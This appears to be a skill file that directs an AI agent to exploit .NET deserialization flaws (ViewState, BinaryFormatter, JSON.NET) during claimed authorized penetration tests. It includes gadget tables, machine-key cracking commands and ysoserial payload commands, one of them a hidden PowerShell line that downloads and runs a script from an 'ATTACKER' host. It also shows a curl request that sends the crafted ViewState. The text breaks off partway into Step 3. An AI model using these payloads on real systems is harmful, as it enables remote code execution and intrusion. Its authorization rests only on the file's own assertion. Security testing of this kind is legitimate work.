/deserialization-dotnet

name: deserialization-dotnet
description: >
  Exploit .NET deserialization vulnerabilities during authorized penetration
  testing.
keywords:
  - .net deserialization
  - ysoserial.net
  - dotnet deserialization
  - BinaryFormatter exploit
  - ViewState exploit
  - ViewState RCE
  - machine key exploit
  - JSON.NET deserialization
  - TypeNameHandling exploit
  - ObjectDataProvider
  - TypeConfuseDelegate
  - .NET Remoting exploit
  - LosFormatter
  - SoapFormatter
  - SharePoint deserialization
  - Sitecore deserialization
tools:
  - ysoserial.net
  - blacklist3r
  - burpsuite
opsec: medium

.NET Deserialization

You are helping a penetration tester exploit .NET deserialization vulnerabilities. The target application uses dangerous .NET formatters or exposes ViewState/JSON endpoints that deserialize untrusted data, enabling gadget chain attacks for remote code execution. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[deserialization-dotnet] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• A .NET deserialization endpoint (ViewState, JSON API, SOAP, .NET Remoting,

cookie, WCF)

• Tools: `ysoserial.exe` (Windows — .NET Framework required), optionally

`Blacklist3r` or `BadSecrets` (Python) for machine key checks

• Proxy (Burp Suite) for intercepting and modifying serialized data

Step 1: Assess

If not already provided, determine:

1. **Serialization format** — look for these signatures:

| Signature | Format | Where Found | |-----------|--------|-------------| | `AAEAAAD` (base64) | BinaryFormatter | Parameters, cookies, ViewState | | `/w` (base64 prefix) | .NET ViewState | `__VIEWSTATE` parameter | | `$type` field in JSON | JSON.NET (Newtonsoft) | API request/response bodies | | SOAP XML with CLR types | SoapFormatter | .NET Remoting, WCF |

2. **Entry point type**:

• `__VIEWSTATE` hidden form field (ASP.NET WebForms)
• JSON request bodies with `$type` property
• Cookies (Forms Authentication, session state)
• SOAP/WCF service endpoints (`.svc`, `.asmx`)
• .NET Remoting endpoints

3. **Formatter in use** — determines which gadgets work:

| Formatter | Risk | Gadgets | |-----------|------|---------| | BinaryFormatter | Critical | TypeConfuseDelegate, PSObject, DataSet | | LosFormatter | Critical | TypeConfuseDelegate, TextFormattingRunProperties | | ObjectStateFormatter | Critical | TypeConfuseDelegate, PSObject | | SoapFormatter | Critical | TypeConfuseDelegate, ActivitySurrogateSelector | | NetDataContractSerializer | High | TypeConfuseDelegate, ObjectDataProvider | | JSON.NET (TypeNameHandling != None) | High | ObjectDataProvider, WindowsIdentity | | DataContractSerializer | Medium | ObjectDataProvider (if type controlled) | | XmlSerializer | Medium | Limited (requires type control) |

Skip if context was already provided.

Step 2: ViewState Attacks

The most common .NET deserialization vector. ASP.NET serializes page state into `__VIEWSTATE`, signed and optionally encrypted with machine keys.

Check for Known Machine Keys

# Blacklist3r — checks against 3000+ published machine keys
Blacklist3r.exe --viewstate "__VIEWSTATE_VALUE" --generator "__VIEWSTATEGENERATOR_VALUE"

# BadSecrets (Python — cross-platform)
pip install badsecrets
python -m badsecrets --viewstate "__VIEWSTATE_VALUE" --generator "GENERATOR"

**Machine key sources:**

• Public disclosure (GitHub, deployment guides, Stack Overflow)
• Sitecore deployment guide sample keys (CVE-2025-53690)
• SSRS default keys
• `.env` or `web.config` via path traversal
• After initial access: dump from IIS configuration

Generate ViewState Payload

# Basic RCE via LosFormatter + TypeConfuseDelegate
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate \
  -c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
  -o base64

# Using TextFormattingRunProperties (alternative gadget)
ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
  -c "cmd /c whoami > c:\inetpub\wwwroot\proof.txt" -o base64

# ViewState plugin (handles signing/encryption with known keys)
ysoserial.exe -p ViewState \
  --validationkey="VALIDATION_KEY_HEX" \
  --decryptionkey="DECRYPTION_KEY_HEX" \
  --generator="__VIEWSTATEGENERATOR" \
  --validationalg="SHA1" \
  --decryptionalg="AES" \
  -c "cmd /c whoami"

Machine Key Format

<!-- web.config -->
<machineKey
  validationKey="64_HEX_CHARS"
  decryptionKey="32_HEX_CHARS"
  validation="SHA1"
  decryption="AES" />

• **validationKey**: 64 hex chars (256-bit HMAC key)
• **decryptionKey**: 32 hex chars (128-bit AES key)
• **validation**: SHA1, MD5, HMACSHA256, HMACSHA384, HMACSHA512
• **decryption**: AES, 3DES

Send Crafted ViewState

# POST to the target page with crafted __VIEWSTATE
curl -X POST https://TARGET/page.aspx \
  -d "__VIEWSTATE=PAYLOAD_BASE64&__VIEWSTATEGENERATOR=GENERATOR&__EVENTVALIDATION=VALIDATION"

Step 3: JSON.NET Exploitation

When JSON.NET (Newtonsoft.Json) is configured with `TypeNam